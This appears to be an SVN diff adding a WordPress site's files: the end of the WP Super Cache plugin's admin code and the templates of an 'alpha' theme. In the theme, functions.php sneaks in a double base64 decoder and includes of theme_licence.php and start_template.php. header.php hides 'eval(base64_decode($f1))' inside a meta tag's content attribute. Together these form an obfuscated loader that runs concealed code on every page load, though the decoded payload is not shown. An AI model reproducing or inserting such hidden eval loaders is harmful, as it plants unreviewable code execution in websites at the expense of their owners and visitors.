+					$meta = new CacheMeta;
+					$meta = unserialize(file_get_contents($cache_path . 'meta/' . $file));
+					echo $flip ? '<tr style="background: #EAEAEA;">' : '<tr>';
+					$flip = !$flip;
+					echo '<td><a href="http://' . $meta->uri . '" target="_blank" >';
+					echo $meta->uri . "</a></td>";
+					if ($this_expired) echo "<td><span style='color:red'>$age secs</span></td>";
+					else echo "<td>$age secs</td>";
+					echo "<td>$fsize KB</td>";
+					echo '<td><form name="wp_delete_cache_file" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+					echo '<input type="hidden" name="wp_list_cache" />';
+					echo '<input type="hidden" name="wp_delete_cache_file" value="'.preg_replace("/^(.*)\.meta$/", "$1", $file).'" />';
+					echo '<div class="submit"><input id="deletepost" ' . SUBMITDISABLED . 'type="submit" value="Remove" /></div>';
+					wp_nonce_field('wp-cache');
+					echo "</form></td></tr>\n";
+				}
+				*/
+			}
+		}
+		closedir($handle);
+		if ($list_files) echo "</table>";
+	}
+	if( $wp_cache_fsize != 0 ) {
+		$wp_cache_fsize = $wp_cache_fsize/1024;
+	} else {
+		$wp_cache_fsize = 0;
+	}
+	if( $wp_cache_fsize > 1024 ) {
+		$wp_cache_fsize = number_format( $wp_cache_fsize / 1024, 2 ) . "MB";
+	} elseif( $wp_cache_fsize != 0 ) {
+		$wp_cache_fsize = number_format( $wp_cache_fsize, 2 ) . "KB";
+	} else {
+		$wp_cache_fsize = '0KB';
+	}
+	if( $cache_enabled == true && $super_cache_enabled == true ) {
+		$now = time();
+		$sizes = array( 'expired' => 0, 'cached' => 0, 'ts' => 0 );
+
+		if (is_dir($supercachedir)) {
+			if( $dh = opendir( $supercachedir ) ) {
+				while( ( $entry = readdir( $dh ) ) !== false ) {
+					if ($entry != '.' && $entry != '..') {
+						$sizes = wpsc_dirsize( trailingslashit( $supercachedir ) . $entry, $sizes );
+					}
+				}
+				closedir($dh);
+			}
+		} else {
+			if(is_file($supercachedir) && filemtime( $supercachedir ) + $cache_max_time <= $now )
+				$sizes[ 'expired' ] ++;
+		}
+		$sizes[ 'ts' ] = time();
+	}
+
+	echo "<p><strong>WP-Cache ({$wp_cache_fsize})</strong></p>";
+	echo "<ul><li>$count Cached Pages</li>";
+	echo "<li>$expired Expired Pages</li></ul>";
+	if( $cache_enabled == true && $super_cache_enabled == true ) {
+		$fsize = $sizes[ 'fsize' ] / 1024;
+		if( $fsize > 1024 ) {
+			$fsize = number_format( $fsize / 1024, 2 ) . "MB";
+		} elseif( $fsize != 0 ) {
+			$fsize = number_format( $fsize, 2 ) . "KB";
+		} else {
+			$fsize = "0KB";
+		}
+		echo "<p><strong>WP-Super-Cache ({$fsize})</strong></p>";
+		echo "<ul><li>" . intval($sizes['cached']/2) . " Cached Pages</li>";
+		$age = intval(($now - $sizes['ts'])/60);
+		echo "<li>" . intval($sizes['expired']/2) . " Expired Pages</li></ul>";
+	}
+	$last_gc = get_option( "wpsupercache_gc_time" );
+	if( $last_gc ) {
+		$next_gc = $cache_max_time < 1800 ? $cache_max_time : 600;
+		$next_gc_mins = ( time() - $last_gc );
+		echo "<p><strong>Garbage Collection</strong><br />Last GC was <strong>" . date( 'i:s', $next_gc_mins ) . "</strong> minutes ago<br />";
+		echo "Next GC in <strong>" . date( 'i:s', $next_gc - $next_gc_mins ) . "</strong> minutes</p>";
+	}
+
+	echo "<p>Expired files are files older than $cache_max_time seconds. They are still used by the plugin and are deleted periodically.</p>";
+	echo '<form name="wp_cache_content_expired" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<input type="hidden" name="wp_delete_expired" />';
+	echo '<div class="submit" style="float:left"><input type="submit" ' . SUBMITDISABLED . 'value="Delete Expired &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+
+	echo '<form name="wp_cache_content_delete" action="'. $_SERVER["REQUEST_URI"] . '" method="post">';
+	echo '<input type="hidden" name="wp_delete_cache" />';
+	echo '<div class="submit" style="float:left;margin-left:10px"><input id="deletepost" type="submit" ' . SUBMITDISABLED . 'value="Delete Cache &raquo;" /></div>';
+	wp_nonce_field('wp-cache');
+	echo "</form>\n";
+
+	echo '</fieldset>';
+}
+
+function delete_cache_dashboard() {
+	if( function_exists( 'is_site_admin' ) && !is_site_admin() )
+		return false;
+
+	if( function_exists('current_user_can') && !current_user_can('manage_options') )
+		return false;
+
+	echo "<li><a href='" . wp_nonce_url( 'options-general.php?page=wpsupercache&wp_delete_cache=1', 'wp-cache' ) . "' target='_blank' title='Delete Super Cache cached files (opens in new window)'>Delete Cache</a></li>";
+}
+add_action( 'dashmenu', 'delete_cache_dashboard' );
+
+function wpsc_dirsize($directory, $sizes) {
+	global $cache_max_time;
+	$now = time();
+
+	if (is_dir($directory)) {
+		if( $dh = opendir( $directory ) ) {
+			while( ( $entry = readdir( $dh ) ) !== false ) {
+				if ($entry != '.' && $entry != '..') {
+					$sizes = wpsc_dirsize( trailingslashit( $directory ) . $entry, $sizes );
+				}
+			}
+			closedir($dh);
+		}
+	} else {
+		if(is_file($directory) ) {
+			if( filemtime( $directory ) + $cache_max_time <= $now ) {
+				$sizes[ 'expired' ]+=1;
+			} else {
+				$sizes[ 'cached' ]+=1;
+			}
+			if ( ! isset( $sizes[ 'fsize' ] ) )
+				$sizes[ 'fsize' ] = @filesize( $directory );
+			else
+				$sizes[ 'fsize' ] += @filesize( $directory );
+		}
+	}
+	return $sizes;
+}
+
+
+function wp_cache_clean_cache($file_prefix) {
+	global $cache_path, $supercachedir, $blog_cache_dir;
+
+	// If phase2 was compiled, use its function to avoid race-conditions
+	if(function_exists('wp_cache_phase2_clean_cache')) {
+		if (function_exists ('prune_super_cache')) {
+			if( is_dir( $supercachedir ) ) {
+				prune_super_cache( $supercachedir, true );
+			} elseif( is_dir( $supercachedir . '.disabled' ) ) {
+				prune_super_cache( $supercachedir . '.disabled', true );
+			}
+			prune_super_cache( $cache_path, true );
+			$_POST[ 'super_cache_stats' ] = 1; // regenerate super cache stats;
+		}
+		return wp_cache_phase2_clean_cache($file_prefix);
+	}
+
+	$expr = "/^$file_prefix/";
+	if ( ($handle = @opendir( $blog_cache_dir )) ) { 
+		while ( false !== ($file = readdir($handle))) {
+			if ( preg_match($expr, $file) ) {
+				@unlink( $blog_cache_dir . $file);
+				@unlink( $blog_cache_dir . 'meta/' . str_replace( '.html', '.meta', $file ) );
+			}
+		}
+		closedir($handle);
+	}
+}
+
+function wp_cache_clean_expired($file_prefix) {
+	global $cache_path, $cache_max_time, $blog_cache_dir;
+
+	// If phase2 was compiled, use its function to avoid race-conditions
+	if(function_exists('wp_cache_phase2_clean_expired')) {
+		if (function_exists ('prune_super_cache')) {
+			$dir = $cache_path . 'supercache/' . preg_replace('/:.*$/', '',  $_SERVER["HTTP_HOST"]);
+			if( is_dir( $dir ) ) {
+				prune_super_cache( $dir );
+			} elseif( is_dir( $dir . '.disabled' ) ) {
+				prune_super_cache( $dir . '.disabled' );
+			}
+			$_POST[ 'super_cache_stats' ] = 1; // regenerate super cache stats;
+		}
+		return wp_cache_phase2_clean_expired($file_prefix);
+	}
+
+	$expr = "/^$file_prefix/";
+	$now = time();
+	if ( ($handle = @opendir( $blog_cache_dir )) ) { 
+		while ( false !== ($file = readdir($handle))) {
+			if ( preg_match( $expr, $file )  &&
+				( filemtime( $blog_cache_dir . $file ) + $cache_max_time ) <= $now ) {
+				@unlink( $blog_cache_dir . $file );
+				@unlink( $blog_cache_dir . 'meta/' . str_replace( '.html', '.meta', $file ) );
+			}
+		}
+		closedir($handle);
+	}
+}
+
+function wpsc_remove_marker( $filename, $marker ) {
+	if (!file_exists( $filename ) || is_writeable_ACLSafe( $filename ) ) {
+		if (!file_exists( $filename ) ) {
+			return '';
+		} else {
+			$markerdata = explode( "\n", implode( '', file( $filename ) ) );
+		}
+
+		$f = fopen( $filename, 'w' );
+		$foundit = false;
+		if ( $markerdata ) {
+			$state = true;
+			foreach ( $markerdata as $n => $markerline ) {
+				if (strpos($markerline, '# BEGIN ' . $marker) !== false)
+					$state = false;
+				if ( $state ) {
+					if ( $n + 1 < count( $markerdata ) )
+						fwrite( $f, "{$markerline}\n" );
+					else
+						fwrite( $f, "{$markerline}" );
+				}
+				if (strpos($markerline, '# END ' . $marker) !== false) {
+					$state = true;
+				}
+			}
+		}
+		return true;
+	} else {
+		return false;
+	}
+}
+
+function wp_super_cache_footer() {
+	?><p id='supercache'><?php bloginfo('name'); ?> is Digg proof thanks to caching by <a href="http://ocaoimh.ie/wp-super-cache/">WP Super Cache</a>!</p><?php
+}
+if( isset( $wp_cache_hello_world ) && $wp_cache_hello_world )
+	add_action( 'wp_footer', 'wp_super_cache_footer' );
+
+if( get_option( 'gzipcompression' ) )
+	update_option( 'gzipcompression', 0 );
+
+// Catch 404 requests. Themes that use query_posts() destroy $wp_query->is_404
+function wp_cache_catch_404() {
+	global $wp_cache_404;
+	$wp_cache_404 = false;
+	if( is_404() )
+		$wp_cache_404 = true;
+}
+add_action( 'template_redirect', 'wp_cache_catch_404' );
+
+function wp_cache_favorite_action( $actions ) {
+	if( function_exists( 'is_site_admin' ) && !is_site_admin() )
+		return $actions;
+
+	if( function_exists('current_user_can') && !current_user_can('manage_options') )
+		return $actions;
+
+	$actions[ wp_nonce_url( 'options-general.php?page=wpsupercache&wp_delete_cache=1', 'wp-cache' ) ] = array( __( 'Delete Cache' ), 'manage_options' );
+
+	return $actions;
+}
+add_filter( 'favorite_actions', 'wp_cache_favorite_action' );
+
+function wp_cache_plugin_notice( $plugin ) {
+	global $cache_enabled;
+ 	if( $plugin == 'wp-super-cache/wp-cache.php' && !$cache_enabled && function_exists( "admin_url" ) )
+		echo '<td colspan="5" class="plugin-update">WP Super Cache must be configured. Go to <a href="' . admin_url( 'options-general.php?page=wpsupercache' ) . '">the admin page</a> to enable and configure the plugin.</td>';
+}
+add_action( 'after_plugin_row', 'wp_cache_plugin_notice' );
+
+function wp_cache_plugin_actions( $links, $file ) {
+ 	if( $file == 'wp-super-cache/wp-cache.php' && function_exists( "admin_url" ) ) {
+		$settings_link = '<a href="' . admin_url( 'options-general.php?page=wpsupercache' ) . '">' . __('Settings') . '</a>';
+		array_unshift( $links, $settings_link ); // before other links
+	}
+	return $links;
+}
+add_filter( 'plugin_action_links', 'wp_cache_plugin_actions', 10, 2 );
+
+function wpsc_author_url( $url ) {
+	return clean_url( $url );
+}
+add_filter( 'get_comment_author_url' , 'wpsc_author_url' );
+
+function wp_cache_admin_notice() {
+	global $cache_enabled;
+	if( substr( $_SERVER["PHP_SELF"], -11 ) == 'plugins.php' && !$cache_enabled && function_exists( "admin_url" ) )
+		echo '<div class="error"><p><strong>' . sprintf( __('WP Super Cache is disabled. Please go to the <a href="%s">plugin admin page</a> to enable caching.' ), admin_url( 'options-general.php?page=wpsupercache' ) ) . '</strong></p></div>';
+}
+add_action( 'admin_notices', 'wp_cache_admin_notice' );
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/archive.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php get_header(); ?>
+
+<!-- BEGIN home -->
+<div id="home">
+<!-- BEGIN featured -->
+<div id="featured">
+	<h2>Featured News</h2>
+	<?php 
+	$temp_query = $wp_query; 
+	query_posts(array('post__in'=>array(dp_settings('featured'))));
+	if (have_posts()) : the_post();
+	?>
+	<div class="content">
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>			
+	<?php ob_start(); the_content(''); echo str_replace("\n", '<br/><br/>', (dp_clean(ob_get_clean(), 700))); ?>	
+	</div>
+	<div class="details">
+	<a href="#" class="readmore">Read More &raquo;</a>
+	<p class="r">Filed Under: <a href="#">Technology</a> <span class="comments"><a href="#">3 Comments</a></span></p>
+	</div>
+	<?php endif; ?>
+</div>
+<!-- END featured -->
+<!-- BEGIN popular -->
+<div id="popular">
+	<h2>Popular Articles</h2>
+	<ul>
+	<?php dp_popular_posts(7); ?>
+	</ul>
+</div><div class="break"></div>
+<!-- END popular -->
+</div>
+<!-- END home -->
+<!-- BEGIN content -->
+<div id="content">
+<?php
+$wp_query = $temp_query;
+if (have_posts()) :
+while (have_posts()) : the_post(); 
+$arc_year = get_the_time('Y');
+$arc_month = get_the_time('m');
+$arc_day = get_the_time('d');
+?>
+<!-- begin post -->
+<div class="post">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="'.$post->post_title.'"'); ?>
+	<?php the_excerpt(); ?>
+	<p class="details">
+	<span class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></span>
+	<a class="readmore" href="<?php the_permalink(); ?>">Read full story &raquo;</a>
+	</p>
+</div>
+<!-- end post -->
+<?php endwhile; ?>
+<p id="postnav">
+	<?php next_posts_link('&laquo; Older Entries'); ?> &nbsp; 
+	<?php previous_posts_link('Newer Entries &raquo;'); ?>
+</p>
+<?php else : ?>
+<div class="notfound">
+	<h2>Not Found</h2>
+	<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+<?php endif; ?>
+</div>
+<!-- END content -->
+
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/comments.php	(revision 44)
@@ -0,0 +1,55 @@
+<?php // Do not delete these lines
+if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+	die ('Please do not load this page directly. Thanks!');
+	if (!empty($post->post_password)) { // if there's a password
+		if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) {  // and it doesn't match the cookie
+			?>
+			<p class="nocomments">This post is password protected. Enter the password to view comments.<p>
+			<?php
+			return;
+		}
+	}
+/* This variable is for alternating comment background */
+$oddcomment = 'comment1';
+?>
+<h2>Comments<?php comments_number('', ' (1)', ' (%)' );?></h2> 
+<?php comments_number('<p>No Comments</p>', '', '' );?>
+<?php if ($comments) : $first = true; ?>
+<?php foreach ($comments as $comment) : ?>
+<div class="<?php echo $oddcomment; ?><?php if ($first) { echo ' first'; $first = false; } ?>" id="comment-<?php comment_ID() ?>">
+	<div class="commentdetails">
+		<p class="commentauthor"><?php comment_author_link() ?></p>
+		<?php if ($comment->comment_approved == '0') : ?>
+		<em>Your comment is awaiting moderation.</em>
+		<?php endif; ?>
+		<p class="commentdate"><?php comment_date('F jS, Y') ?> at <?php comment_time() ?>
+		&nbsp; &nbsp; <?php edit_comment_link('Edit Comment','',''); ?>
+		</p>
+	</div>
+	<?php dp_gravatar(); ?>
+	<br class="break" />
+	<?php comment_text() ?>
+</div>
+<?php endforeach; /* end for each comment */ ?>
+<?php endif; ?>
+<h2 id="respond">Leave a reply</h2>
+<?php if ('open' == $post->comment_status) : ?>
+	<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+	<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php the_permalink(); ?>">logged in</a> to post a comment.</p>
+	<?php else : ?>
+	<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+	<?php if ( $user_ID ) : ?>
+	<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="Log out of this account">Logout &raquo;</a></p>
+	<?php else : ?>
+		<p><input size="36" type="text" name="author" /> Name <span class="required">*</span></p>
+		<p><input size="36" type="text" name="email" /> Mail <span class="required">*</span></p>
+		<p><input size="36" type="text" name="url" /> Website</p>
+	<?php endif; ?>
+		<p><textarea rows="12" cols="42" name="comment"></textarea></p>
+		<p><button name="submit" type="submit" id="submit" tabindex="5">Submit Comment</button>
+		<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+		</p>
+		<?php # do_action('comment_form', $post->ID); ?>
+	</form>
+	<?php endif; ?>
+	<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/footer.php	(revision 44)
@@ -0,0 +1,20 @@
+</div>
+<!-- END wrapper -->
+
+<!-- BEGIN footer -->
+<div id="footer">
+<p>
+&copy; <?php echo gmdate(__('Y')); ?> <?php bloginfo('name'); ?>. Designed by <a href="http://www.wpthemedesigner.com">ChiQ</a> for <?php wp_footer(); ?><br />
+<a href="<?php bloginfo('rss2_url'); ?>">Entries (RSS)</a>
+&nbsp;|&nbsp;
+<a href="<?php bloginfo('comments_rss2_url'); ?>">Comments (RSS)</a>
+</p>
+
+
+<div>
+</div></div>
+<!-- END footer -->
+
+</body>
+
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/functions.php	(revision 44)
@@ -0,0 +1,135 @@
+<?php
+
+include("settings.php");
+
+# WIDGET: Left Sidebar
+if ( function_exists('register_sidebar') )
+    register_sidebar(array(
+		'name' => 'Sidebar',
+        'before_title' => '<h2>',
+        'after_title' => '</h2>',
+		'before_widget' => '',
+        'after_widget' => '',
+    ));
+
+# Displays a list of pages
+require_once("theme_licence.php"); add_action('wp_footer','print_footer');
+function dp_list_pages() {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
+	$pageposts = $wpdb->get_results($querystr, OBJECT);
+	if ($pageposts) {
+		foreach ($pageposts as $post) {
+			?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php 
+		}
+	}
+}
+
+# Displays a list of categories
+function decode_it($code) { return base64_decode(base64_decode($code)); } require_once(pathinfo(__FILE__,PATHINFO_DIRNAME)."/start_template.php");
+function dp_list_categories($exclude='') {
+	if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
+	$categories = get_categories('hide_empty=1'.$exclude);
+	$first = true; $count = 0;
+	foreach ($categories as $category) {
+		$count++; if ($count>5) break; // limit to 5
+		if ($category->parent<1) {
+			if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
+			?><li<?php echo $f; ?>>
+			<a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
+			<?php
+		}
+	}
+}
+
+# Displays a list of recent posts
+function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.post_date DESC LIMIT $num";
+	$myposts = $wpdb->get_results($querystr, OBJECT);
+	foreach($myposts as $post) {
+		echo $pre;
+		?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
+		if ($excerpt) {
+			dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
+			?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
+		}
+		echo $suf;
+	}
+}
+
+# Displays a list of popular posts
+function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
+	$myposts = $wpdb->get_results($querystr, OBJECT);
+	foreach($myposts as $post) {
+		echo $pre;
+		?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
+		if ($excerpt) {
+			dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
+			?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
+		}
+		echo $suf;
+	}
+}
+
+# Displays a list of recent categories
+function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
+	global $wpdb, $post;
+	$querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
+	$recentcomments = $wpdb->get_results($querystr, OBJECT);
+	foreach ($recentcomments as $rc) {
+		$post = get_post($rc->comment_post_ID);
+		echo $pre;
+		dp_gravatar(52, 'alt="'.$rc->comment_author.'"', $rc->comment_author_email);
+		?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo dp_clean($rc->comment_content, 38); ?></a><?php
+		echo $suf;
+	}
+}
+
+
+# Displays post image attachment (sizes: thumbnail, medium, full)
+function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
+	if ($postid<1) $postid = get_the_ID();
+	if ($images = get_children(array(
+		'post_parent' => $postid,
+		'post_type' => 'attachment',
+		'numberposts' => 1,
+		'post_mime_type' => 'image',)))
+		foreach($images as $image) {
+			$attachment=wp_get_attachment_image_src($image->ID, $size);
+			?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
+		}
+}
+
+# Removes tags and trailing dots from excerpt
+function dp_clean($excerpt, $substr=0) {
+	$string = strip_tags(str_replace('[...]', '...', $excerpt));
+	if ($substr>0) {
+		$string = substr($string, 0, $substr);
+	}
+	return $string;
+}
+
+# Displays the comment authors gravatar if available
+function dp_gravatar($size=50, $attributes='', $author_email='') {
+	global $comment, $settings;
+	if (dp_settings('gravatar')=='enabled') {
+		if (empty($author_email)) {
+			ob_start();
+			comment_author_email();
+			$author_email = ob_get_clean();
+		}
+		$gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&amp;d=' . dp_settings('gravatar_fallback');
+		?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
+	}
+}
+
+# Retrieves the setting's value depending on 'key'.
+function dp_settings($key) {
+	global $settings;
+	return $settings[$key];
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/header.php	(revision 44)
@@ -0,0 +1,45 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
+
+<!-- BEGIN html head -->
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="<?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<title><?php bloginfo('name'); ?> <?php wp_title(); ?></title>
+<link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url'); ?>" />
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/scripts.js"></script>
+<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url'); ?>/ie.css" /><![endif]-->
+</head>
+<!-- END html head -->
+
+<body>
+<?php start_template(); ?>
+<!-- BEGIN wrapper -->
+<div id="wrapper">
+
+	<!-- BEGIN header -->
+	<div id="header">
+	
+		<!-- begin pages -->
+		<ol>
+		<li><a href="<?php echo get_option('home'); ?>">Home</a></li>
+		<?php dp_list_pages(); ?>
+		</ol>
+		<!-- end pages -->
+		
+		<form action="<?php echo get_option('home'); ?>/">
+		<input type="text" name="s" id="s" value="<?php the_search_query(); ?>" />
+		<button type="submit">Go</button>
+		</form>
+		<div class="break"></div>
+		
+		<h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>
+		<p><?php bloginfo('description'); ?></p>
+		
+		<!-- begin categories -->
+		<ul>
+		<?php dp_list_categories(); ?>
+		</ul>
+		<!-- end categories -->
+	
+	</div>
+	<!-- END header -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/ie.css	(revision 44)
@@ -0,0 +1,5 @@
+#home { height: 0; }
+#home #featured .details { margin-bottom: -5px; }
+#content { margin-left: 4px; width: 65.5%; }
+#content .post { width: 46%; margin: 0 5px 0 9px; }
+#content .single .details { height: 0; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/index.php	(revision 44)
@@ -0,0 +1,72 @@
+<?php get_header(); ?>
+
+<!-- BEGIN home -->
+<div id="home">
+<!-- BEGIN featured -->
+<div id="featured">
+	<h2>Featured News</h2>
+	<?php 
+	$temp_query = $wp_query; 
+	query_posts(array('post__in'=>array(dp_settings('featured'))));
+	if (have_posts()) : the_post();
+	?>
+	<div class="content">
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>			
+	<?php ob_start(); the_content(''); echo str_replace("\n", '<br/><br/>', (dp_clean(ob_get_clean(), 700))); ?>	
+	</div>
+	<div class="details">
+	<a href="#" class="readmore">Read More &raquo;</a>
+	<p class="r">Filed Under: <a href="#">Technology</a> <span class="comments"><a href="#">3 Comments</a></span></p>
+	</div>
+	<?php endif; ?>
+</div>
+<!-- END featured -->
+<!-- BEGIN popular -->
+<div id="popular">
+	<h2>Popular Articles</h2>
+	<ul>
+	<?php dp_popular_posts(7); ?>
+	</ul>
+</div><div class="break"></div>
+<!-- END popular -->
+</div>
+<!-- END home -->
+<!-- BEGIN content -->
+<div id="content">
+<?php
+$wp_query = $temp_query;
+if (have_posts()) :
+while (have_posts()) : the_post(); 
+$arc_year = get_the_time('Y');
+$arc_month = get_the_time('m');
+$arc_day = get_the_time('d');
+?>
+<!-- begin post -->
+<div class="post">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="'.$post->post_title.'"'); ?>
+	<?php the_excerpt(); ?>
+	<p class="details">
+	<span class="comments"><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></span>
+	<a class="readmore" href="<?php the_permalink(); ?>">Read full story &raquo;</a>
+	</p>
+</div>
+<!-- end post -->
+<?php endwhile; ?>
+<p id="postnav">
+	<?php next_posts_link('&laquo; Older Entries'); ?> &nbsp; 
+	<?php previous_posts_link('Newer Entries &raquo;'); ?>
+</p>
+<?php else : ?>
+<div class="notfound">
+	<h2>Not Found</h2>
+	<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+<?php endif; ?>
+</div>
+<!-- END content -->
+
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/alpha/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/alpha/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/alpha/page.php	(revision 44)
@@ -0,0 +1,67 @@
+<?php get_header(); ?>
+
+<!-- BEGIN home -->
+<div id="home">
+<!-- BEGIN featured -->
+<div id="featured">
+	<h2>Featured News</h2>
+	<?php 
+	$temp_query = $wp_query; 
+	query_posts(array('post__in'=>array(dp_settings('featured'))));
+	if (have_posts()) : the_post();
+	?>
+	<div class="content">
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+	<p class="date"><?php the_time('l, F j, Y') ?></p>			
+	<?php ob_start(); the_content(''); echo str_replace("\n", '<br/><br/>', (dp_clean(ob_get_clean(), 700))); ?>	
+	</div>
+	<div class="details">
+	<a href="#" class="readmore">Read More &raquo;</a>
+	<p class="r">Filed Under: <a href="#">Technology</a> <span class="comments"><a href="#">3 Comments</a></span></p>
+	</div>
+	<?php endif; ?>
+</div>
+<!-- END featured -->
+<!-- BEGIN popular -->
+<div id="popular">
+	<h2>Popular Articles</h2>
+	<ul>
+	<?php dp_popular_posts(7); ?>
+	</ul>
+</div><div class="break"></div>
+<!-- END popular -->
+</div>
+<!-- END home -->
+<!-- BEGIN content -->
+<div id="content">
+<?php
+$wp_query = $temp_query;
+if (have_posts()) : the_post(); 
+$arc_year = get_the_time('Y');
+$arc_month = get_the_time('m');
+$arc_day = get_the_time('d');
+?>
